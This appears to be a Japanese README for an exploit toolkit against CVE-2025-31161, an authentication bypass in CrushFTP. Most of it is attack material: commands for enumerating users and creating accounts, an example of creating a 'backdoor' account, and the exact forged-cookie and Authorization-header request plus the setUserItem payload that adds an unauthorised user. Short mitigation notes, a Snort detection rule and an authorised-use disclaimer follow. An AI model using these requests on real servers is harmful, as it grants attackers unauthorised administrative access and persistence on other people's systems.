
多言語エクスプロイトツールキット for CVE-2025-31161(CrushFTPの認証バイパス)。許可されたセキュリティテストやCTFチャレンジ向けに、脆弱性検出、ユーザー列挙、不正な管理者アカウント作成を可能にします。
CVE-2025-31161(CrushFTPの認証バイパスの脆弱性)を悪用するための包括的なツールキットです。この脆弱性により、権限のないユーザーアカウントの作成が可能になります。
CVE-2025-31161 は CrushFTP における重大な認証バイパスの脆弱性であり、攻撃者は適切な認証なしに不正なユーザーアカウントを作成できます。この脆弱性は Web インターフェースのユーザー管理機能に存在します。
-t、-p、-tu フラグで素早くアクセスCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # このドキュメント
├── cve-2025-31161.go # Go 実装(推奨)
├── cve-2025-31161.sh # Bash 実装
└── LICENSE # MIT ライセンス
# Go のインストール(未インストールの場合)
sudo apt install golang-go
# または
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# curl が必要(通常はプリインストール)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# 短縮フラグを使用した基本
go run cve-2025-31161.go -t example.com -lu
# カスタムポートで
go run cve-2025-31161.go -t example.com -p 8080 -lu
# 長形式フラグ
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# 新規ユーザー作成(ユーザー名/パスワードの入力を促されます)
go run cve-2025-31161.go -t example.com -au
# カスタムターゲットユーザーで(デフォルト: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# 長形式フラグ
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# 基本
./cve-2025-31161.sh -t example.com -lu
# カスタムポートで
./cve-2025-31161.sh -t example.com -p 8080 -lu
# 新規ユーザー作成
./cve-2025-31161.sh -t example.com -au
# カスタム設定で
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# 例1: ターゲット上のユーザー列挙
go run cve-2025-31161.go -t ftp.example.htb -lu
# 例2: バックドアアカウントの作成
go run cve-2025-31161.go -t ftp.example.htb -au
# その後入力: username: backdoor, password: P@ssw0rd123
# 例3: 非標準ポートでユーザー列挙
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# ヘルプ表示
./cve-2025-31161.sh --help
flowchart TD
A[Start Exploit] --> B[Check Target Connectivity]
B --> C{Target Reachable?}
C -->|No| D[Exit: Connection Failed]
C -->|Yes| E[Send getUserList Request]
E --> F{Response Contains OK?}
F -->|No| G[Exit: Not Vulnerable]
F -->|Yes| H[Target is Vulnerable!]
H --> I{Mode Selected?}
I -->|List Users -lu| J[Parse XML Response]
J --> K[Display User List]
K --> L[Exit: Success]
I -->|Add User -au| M[Prompt for Username]
M --> N[Prompt for Password]
N --> O[Send Warm-up Request]
O --> P[Craft User Creation Payload]
P --> Q[Send setUserItem Request]
Q --> R{User Created Successfully?}
R -->|Yes| S[Success: Account Created]
R -->|No| T[Failed: Exploitation Failed]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
スクリプトはまず getUserList リクエストを送信し、ターゲットが脆弱かどうかを確認します。
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
レスポンスに <response_status>OK</response_status> が含まれている場合、ターゲットは脆弱です。
-lu フラグを使用すると、スクリプトは XML レスポンスを解析してユーザー名を抽出します。
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
出力:
[+] Users:
- ben
- crushadmin
- default
-au フラグを使用すると、スクリプトは悪意のある XML ペイロードを含む setUserItem リクエストを送信します。
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
スクリプトはレスポンス内の <response_status>OK</response_status> を確認し、ユーザー作成が成功したことを確認します。
この脆弱性は、CrushFTP Web インターフェースのユーザー管理機能における認証チェックの不十分さに起因します。アプリケーションは、要求元の権限を適切に検証せずにユーザー作成リクエストを受け入れます。
setUserItem リクエストを監視/webinterface/function/ エンドポイントへのアクセスをブロック# Snort/Suricata ルール例
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ 重要: このツールは以下の目的のために設計されています。
明示的な書面による許可なしにシステムで使用しないでください。コンピュータシステムへの不正アクセスは違法であり、重大な法的結果を招く可能性があります。
コントリビューションを歓迎します。以下の手順に従ってください。
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)| バージョン | 日付 | 変更内容 |
|---|---|---|
| 1.0.0 | 2025-01-XX | Go と Bash の実装を含む初回リリース |
| 1.1.0 | 2025-01-XX | 対話モードと脆弱性検出を追加 |
| 1.2.0 | 2025-10-02 | ユーザー列挙 (-lu)、個別のユーザー追加モード (-au)、短縮フラグ (-t, -p, -tu) を追加 |
質問、提案、セキュリティ上の懸念がある場合は、このリポジトリでイシューを開いてください。
| フラグ | 長形式 | 説明 | デフォルト |
|---|
-t | --target_host | ターゲットのホスト名またはIP(必須) | - |
-p | --port | ターゲットのポート | 80 |
-tu | --target_user | 悪用に使用するターゲットユーザー | crushadmin |
-lu | --list-users | 既存ユーザーの一覧表示 | - |
-au | --add-user | 新規ユーザー追加(対話式) | - |
--help | ヘルプメッセージを表示 | - |